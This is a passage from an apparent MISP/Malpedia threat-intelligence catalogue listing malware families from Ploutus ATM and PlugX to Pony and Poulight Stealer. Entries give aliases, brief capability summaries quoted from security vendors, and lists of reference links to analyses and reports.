https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/
https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html
https://blogs.jpcert.or.jp/en/2019/05/tscookie3.html
https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html
https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020
https://securelist.com/apt-trends-report-q2-2019/91897/

Ploutus ATM

The tag is: *misp-galaxy:malpedia="Ploutus ATM"*

Ploutus ATM is also known as:

Table 2824. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm
https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html
https://www.crowdstrike.com/blog/ploutus-atm-malware-deobfuscation-case-study
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam
http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html
https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

ployx

The tag is: *misp-galaxy:malpedia="ployx"*

ployx is also known as:

Table 2825. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx

https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojPloyx-A/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojPloyx-A/detailed-analysis.aspx]
https://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html

PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

The tag is: *misp-galaxy:malpedia="PlugX"*

PlugX is also known as:

- Destroy RAT
- Kaba
- Korplug
- RedDelta
- Sogu
- TIGERPLUG

Table 2826. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx
https://blog.xorhex.com/blog/mustangpandaplugx-1/
https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html
https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://insights.oem.avira.com/new-wave-of-plugx-targets-hong-kong/
http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html
https://securelist.com/time-of-death-connected-medicine/84315/
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://www.youtube.com/watch?v=r1zAVX_HnJg

https://marcoramilli.com/2020/03/19/is-apt27-abusing-covid-19-to-attack-people/
https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://www.youtube.com/watch?v=6SDdUVejR2w
https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/
https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn
https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf
https://unit42.paloaltonetworks.com/thor-plugx-variant/
https://therecord.media/redecho-group-parks-domains-after-public-exposure/
https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/
http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/
https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/
https://attack.mitre.org/groups/G0096
https://twitter.com/xorhex/status/1399906601562165249?s=20
https://blog.vincss.net/2020/03/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-Nguyen-Xuan-Phuc-phan2.html
https://twitter.com/stvemillertime/status/1261263000960450562
https://www.contextis.com/en/blog/dll-search-order-hijacking
https://blog.vincss.net/2022/05/re027-china-based-apt-mustang-panda-might-have-still-continued-their-attack-activities-against-organizations-in-Vietnam.html
https://conference.hitb.org/hitbsecconf2021sin/materials/D1T1%20-%20%20ShadowPad%20-%20A%20Masterpiece%20of%20Privately%20Sold%20Malware%20in%20Chinese%20Espionage%20-%20Yi-Jhen%20Hsieh%20&%20Joey%20Chen.pdf
https://www.bleepingcomputer.com/news/security/new-mustang-panda-hacking-campaign-targets-diplomats-isps/
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia

https://www.secureworks.com/research/threat-profiles/bronze-olive
https://www.cybereason.com/blog/threat-analysis-report-plugx-rat-loader-evolution
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.bleepingcomputer.com/news/security/chinas-apt-hackers-move-to-ransomware-attacks/
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/
https://www.secureworks.com/research/threat-profiles/bronze-woodland
https://www.computerweekly.com/news/252471769/New-threat-group-behind-Airbus-cyber-attacks-claim-researchers
https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf
https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf
https://lab52.io/blog/mustang-panda-recent-activity-dll-sideloading-trojans-with-temporal-c2-servers/
https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/
https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html
https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-rat-extracting-the-config/
https://www.secureworks.com/research/threat-profiles/bronze-express
https://redalert.nshc.net/2022/04/14/hacking-activity-of-sectorb-group-in-2021/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0915.pdf
https://www.youtube.com/watch?v=E2_DTQJjDYc
https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/
https://tracker.h3x.eu/info/290
https://www.lac.co.jp/lacwatch/people/20171218_001445.html
https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt
https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/

https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop
https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.secureworks.com/research/threat-profiles/bronze-president
https://community.rsa.com/thread/185439
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.contextis.com/en/blog/avivore
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/plugx-a-talisman-to-behold.html
https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-
https://www.secureworks.com/research/threat-profiles/bronze-union
https://www.contextis.com/de/blog/avivore
https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/
https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/
https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/
https://www.zdnet.com/article/chinese-state-hackers-target-hong-kong-catholic-church/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
https://www.youtube.com/watch?v=qEwBGGgWgOM
https://cyberandramen.net/2022/01/06/a-gulp-of-plugx/
https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html
https://blog.xorhex.com/blog/reddeltaplugxchangeup/
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://www.secureworks.com/research/bronze-president-targets-ngos
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf

https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited
https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage
https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf
https://www.recordedfuture.com/china-linked-ta428-threat-group
https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html
https://blog.xorhex.com/blog/mustangpandaplugx-2/
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html
https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/
https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf
https://risky.biz/whatiswinnti/
https://or10nlabs.tech/reverse-engineering-the-new-mustang-panda-plugx-downloader/
https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx
https://www.macnica.net/file/security_report_20160613.pdf
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf
https://securelist.com/cycldek-bridging-the-air-gap/97157/
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://www.recordedfuture.com/redecho-targeting-indian-power-sector/
https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-loader
https://www.secureworks.com/blog/bronze-president-targets-government-officials
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/
https://silascutler.blogspot.com/2019/11/fresh-plugx-october-2019.html

https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military
https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html
https://threatpost.com/chinese-apt-combines-fresh-hodur-rat-with-complex-anti-detection/179084/
https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf
https://www.cyber.gov.au/sites/default/files/2019-03/msp_investigation_report.pdf
https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/
http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html
http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf
https://www.us-cert.gov/ncas/alerts/TA17-117A
https://www.youtube.com/watch?v=C_TmANnbS2k
https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf
https://www.welivesecurity.com/fr/2022/03/25/mustang-pandas-hodur-nouveau-korplug/
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia
https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt
https://blog.ensilo.com/uncovering-new-activity-by-apt10
https://www.trendmicro.com/en_us/research/21/a/xdr-investigation-uncovers-plugx-unique-technique-in-apt-attack.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://attack.mitre.org/groups/G0001/
https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
https://www.youtube.com/watch?v=IRh6R8o1Q7U
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/
https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/
https://therecord.media/indonesian-intelligence-agency-compromised-in-suspected-chinese-hack/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf

Plurox

The tag is: *misp-galaxy:malpedia="Plurox"*

Plurox is also known as:

Table 2827. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox
https://sysopfb.github.io/malware,/crypters/2019/09/23/Plurox-packer-layer-unpacked.html
https://securelist.com/plurox-modular-backdoor/91213/

pngdowner

The tag is: *misp-galaxy:malpedia="pngdowner"*

pngdowner is also known as:

Table 2828. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner
https://attack.mitre.org/groups/G0024
https://www.iocbucket.com/iocs/7f7999ab7f223409ea9ea10cff82b064ce2a1a31

PNGLoad

According to ESET Research, PNGLoad is a second-stage payload deployed by Worok on compromised systems and loaded either by CLRLoad or PowHeartBeat. PNGLoad has capabilities to download and execute additional payloads from a C&C server, which is likely how the attackers have deployed PNGLoad on systems compromised with PowHeartBeat. PNGLoad is a loader that uses bytes from PNG files to create a payload to execute. It is a 64-bit .NET executable - obfuscated with .NET Reactor - that masquerades as legitimate software.

The tag is: *misp-galaxy:malpedia="PNGLoad"*

PNGLoad is also known as:

Table 2829. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.png_load
https://www.welivesecurity.com/2022/09/06/worok-big-picture/

PocoDown

uses POCO C++ cross-platform library, Xor-based string obfuscation, SSL library code and string overlap with Xtunnel, infrastructure overlap with X-Agent, probably in use since mid-2018

The tag is: *misp-galaxy:malpedia="PocoDown"*

PocoDown is also known as:

- Blitz
- PocoDownloader

Table 2830. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown
https://threatvector.cylance.com/en_us/home/inside-the-apt28-dll-backdoor-blitz.html
https://threatvector.cylance.com/en_us/home/flirting-with-ida-and-apt28.html
https://twitter.com/cyb3rops/status/1129653190444703744

poisonplug

According to FireEye, POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded C&C commands.

The tag is: *misp-galaxy:malpedia="poisonplug"*

poisonplug is also known as:

- Barlaiy

Table 2831. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poisonplug
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html

https://content.fireeye.com/apt-41/rpt-apt41/

Poison Ivy

The tag is: *misp-galaxy:malpedia="Poison Ivy"*

Poison Ivy is also known as:

- SPIVY
- pivy
- poisonivy

Table 2832. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy
https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/
http://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.secureworks.com/research/threat-profiles/bronze-union
https://www.slideshare.net/StefanoMaccaglia/bsides-ir-in-heterogeneous-environment
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/
https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers
https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://lab52.io/blog/icefog-apt-group-abusing-recent-conflict-between-iran-and-eeuu/
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/

https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html
https://www.youtube.com/watch?v=1WfPlgtfWnQ
https://attack.mitre.org/groups/G0011
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2011/the_nitro_attacks.pdf
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html
https://vblocalhost.com/uploads/VB2020-20.pdf
http://blogs.360.cn/post/APT_C_01_en.html
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf
https://community.riskiq.com/article/56fa1b2f
https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://us-cert.cisa.gov/ncas/alerts/aa20-275a
https://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/
https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/
https://unit42.paloaltonetworks.com/atoms/crawling-taurus/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.recordedfuture.com/china-linked-ta428-threat-group
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html
https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis
https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf
https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf

https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Poison RAT

The tag is: *misp-galaxy:malpedia="Poison RAT"*

Poison RAT is also known as:

Table 2833. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/

Poldat

The tag is: *misp-galaxy:malpedia="Poldat"*

Poldat is also known as:

- KABOB
- Zlib

Table 2834. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat
https://youtu.be/DDA2uSxjVWY?t=344
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
http://fireeyeday.com/1604/pdf/KeyNote_2.pdf

PolPo

The tag is: *misp-galaxy:malpedia="PolPo"*

PolPo is also known as:

Table 2835. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/

PolyglotDuke

The tag is: *misp-galaxy:malpedia="PolyglotDuke"*

PolyglotDuke is also known as:

Table 2836. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
https://www.welivesecurity.com/2019/10/17/operation-ghost-dukes-never-left/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.secureworks.com/research/threat-profiles/iron-hemlock

Polyglot

The tag is: *misp-galaxy:malpedia="Polyglot"*

Polyglot is also known as:

Table 2837. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/

Pony

According to KnowBe4, Pony Stealer is a password stealer that can decrypt or unlock passwords for over 110 different applications including VPN, FTP, email, instant messaging, web browsers and much more. Pony Stealer is very dangerous and once it infects a PC it will turn the device into a botnet, allowing it to use the PCs it infects to infect other PCs.

The tag is: *misp-galaxy:malpedia="Pony"*

Pony is also known as:

- Fareit
- Siplog

Table 2838. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pony
https://intel471.com/blog/a-brief-history-of-ta505
https://www.secureworks.com/research/threat-profiles/gold-galleon
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
https://www.youtube.com/watch?v=EyDiIAt*dI[https://www.youtube.com/watch?v=EyDiIAt*dI]
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://github.com/nyx0/Pony
https://www.youtube.com/watch?v=y8Z9KnL8s8s
https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf
https://www.youtube.com/watch?v=42yldTQ-fWA
https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://www.secureworks.com/research/threat-profiles/gold-evergreen
https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection
http://www.secureworks.com/research/threat-profiles/gold-essex
https://www.knowbe4.com/pony-stealer
https://www.secureworks.com/research/threat-profiles/gold-essex
http://www.secureworks.com/research/threat-profiles/gold-galleon
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
http://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry
https://www.uperesia.com/analysis-of-a-packed-pony-downloader

PoohMilk Loader

The tag is: *misp-galaxy:malpedia="PoohMilk Loader"*

PoohMilk Loader is also known as:

Table 2839. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

PoorWeb

The tag is: *misp-galaxy:malpedia="PoorWeb"*

PoorWeb is also known as:

Table 2840. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb
https://securelist.com/apt-trends-report-q2-2018/86487/
https://asec.ahnlab.com/ko/18796/
https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019
https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/

Popcorn Time

The tag is: *misp-galaxy:malpedia="Popcorn Time"*

Popcorn Time is also known as:

Table 2841. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.popcorn_time

PortDoor

The tag is: *misp-galaxy:malpedia="PortDoor"*

PortDoor is also known as:

Table 2842. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor

https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/
https://www.cybereason.com/blog/research/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf

portless

The tag is: *misp-galaxy:malpedia="portless"*

portless is also known as:

Table 2843. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.portless
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134508/winnti-more-than-just-a-game-130410.pdf

poscardstealer

The tag is: *misp-galaxy:malpedia="poscardstealer"*

poscardstealer is also known as:

Table 2844. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer
http://pages.arbornetworks.com/rs/arbor/images/ASERT%20Threat%20Intelligence%20Brief%202014-06%20Uncovering%20PoS%20Malware%20and%20Attack%20Campaigns.pdf

PoshC2

The tag is: *misp-galaxy:malpedia="PoshC2"*

PoshC2 is also known as:

Table 2845. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2
http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets

https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/
https://paper.seebug.org/1301/
https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/
https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html
https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/poshc2_apt_33.md
https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
https://github.com/nettitude/PoshC2_Python/
https://redcanary.com/blog/getsystem-offsec/
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf

PoSlurp

The tag is: *misp-galaxy:malpedia="PoSlurp"*

PoSlurp is also known as:

- PUNCHTRACK

Table 2846. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp
https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/
https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp.pdf
https://twitter.com/just_windex/status/1162118585805758464
https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/

Poulight Stealer

The tag is: *misp-galaxy:malpedia="Poulight Stealer"*

Poulight Stealer is also known as:

- Poullight

Table 2847. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer
